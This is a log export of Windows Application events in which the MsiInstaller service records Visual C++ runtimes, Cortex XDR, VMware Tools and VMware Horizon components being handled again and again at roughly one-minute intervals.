{"@timestamp":1657395131218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170341}}
{"@timestamp":1657395131255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170342}}
{"@timestamp":1657395131284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170343}}
{"@timestamp":1657395189921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170344}}
{"@timestamp":1657395189947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170345}}
{"@timestamp":1657395189996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170346}}
{"@timestamp":1657395190036,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170347}}
{"@timestamp":1657395190064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170348}}
{"@timestamp":1657395190094,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170349}}
{"@timestamp":1657395190120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170350}}
{"@timestamp":1657395190145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170351}}
{"@timestamp":1657395190181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170352}}
{"@timestamp":1657395190209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170353}}
{"@timestamp":1657395250124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170354}}
{"@timestamp":1657395250151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170355}}
{"@timestamp":1657395250202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170356}}
{"@timestamp":1657395250241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170357}}
{"@timestamp":1657395250270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170358}}
{"@timestamp":1657395250301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170359}}
{"@timestamp":1657395250328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170360}}
{"@timestamp":1657395250354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170361}}
{"@timestamp":1657395250390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170362}}
{"@timestamp":1657395250420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170363}}
{"@timestamp":1657395309978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170364}}
{"@timestamp":1657395310004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170365}}
{"@timestamp":1657395310054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170366}}
{"@timestamp":1657395310093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170367}}
{"@timestamp":1657395310120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170368}}
{"@timestamp":1657395310150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170369}}
{"@timestamp":1657395310177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170370}}
{"@timestamp":1657395310203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170371}}
{"@timestamp":1657395310240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170372}}
{"@timestamp":1657395310267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170373}}
{"@timestamp":1657395369951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170374}}
{"@timestamp":1657395369977,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170375}}
{"@timestamp":1657395370028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170376}}
{"@timestamp":1657395370066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170377}}
{"@timestamp":1657395370095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170378}}
{"@timestamp":1657395370126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170379}}
{"@timestamp":1657395370152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170380}}
{"@timestamp":1657395370178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170381}}
{"@timestamp":1657395370214,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170382}}
{"@timestamp":1657395370240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170383}}
{"@timestamp":1657395429982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170384}}
{"@timestamp":1657395430009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170385}}
{"@timestamp":1657395430059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170386}}
{"@timestamp":1657395430098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170387}}
{"@timestamp":1657395430127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170388}}
{"@timestamp":1657395430157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170389}}
{"@timestamp":1657395430183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170390}}
{"@timestamp":1657395430208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170391}}
{"@timestamp":1657395430245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170392}}
{"@timestamp":1657395430274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170393}}
{"@timestamp":1657395489827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170394}}
{"@timestamp":1657395489854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170395}}
{"@timestamp":1657395489905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170396}}
{"@timestamp":1657395489946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170397}}
{"@timestamp":1657395489974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170398}}
{"@timestamp":1657395490005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170399}}
{"@timestamp":1657395490032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170400}}
{"@timestamp":1657395490059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170401}}
{"@timestamp":1657395490095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170402}}
{"@timestamp":1657395490123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170403}}
{"@timestamp":1657395550157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170404}}
{"@timestamp":1657395550183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170405}}
{"@timestamp":1657395550233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170406}}
